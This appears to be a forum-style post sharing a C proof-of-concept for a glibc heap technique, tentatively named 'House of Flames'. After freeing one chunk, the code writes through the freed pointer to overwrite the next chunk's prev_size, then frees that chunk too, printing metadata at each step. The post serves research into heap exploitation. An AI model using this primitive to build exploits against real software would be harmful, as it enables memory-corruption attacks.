If this is turns out to be a new method, i nominate "House of Flames"

uaf_to_prevsize.c

int main(){
    unsigned long* a = malloc(0x508);
    unsigned long* b = malloc(0x508);
    memset(a,'A',0x508);
    memset(b,'B',0x508);
    printf("################ A: %lx\n",a);
    printf("################ B: %lx\n",b);
    printf("################ A->size: %llx\n",*(a-1));
    printf("################ A->prev_size: %llx\n",*(a-2));
    printf("################ B->size: %llx\n",*(b-1));
    printf("################ B->prev_size: %llx\n",*(b-2));
    printf("free(a)\n");free(a);
    printf("################ A->size: %llx\n",*(a-1));
    printf("################ A->prev_size: %llx\n",*(a-2));
    printf("################ A->f: %llx\n",*(a));
    printf("################ A->b: %llx\n",*(a+1));
    printf("################ B->size: %llx\n",*(b-1));
    printf("################ B->prev_size: %llx\n\n\n",*(b-2));

    unsigned long last_byte_of_data = 0x508/8-1; 
    a[last_byte_of_data] = 0xdeadbeef;
    printf("Set B->prev_size\n");
    printf("################ A->size: %llx\n",*(a-1));
    printf("################ A->prev_size: %llx\n",*(a-2));
    printf("################ B->f: %llx\n",*(b));
    printf("################ B->b: %llx\n",*(b+1));
    printf("################ B->size: %llx\n",*(b-1));
    printf("################ B->prev_size: %llx\n",*(b-2));
    printf("free(b)\n");free(b);
    printf("################ A->size: %llx\n",*(a-1));
    printf("################ A->prev_size: %llx\n",*(a-2));
    printf("################ B->f: %llx\n",*(b));
    printf("################ B->b: %llx\n",*(b+1));
    printf("################ B->size: %llx\n",*(b-1));
    printf("################ B->prev_size: %llx\n",*(b-2));
}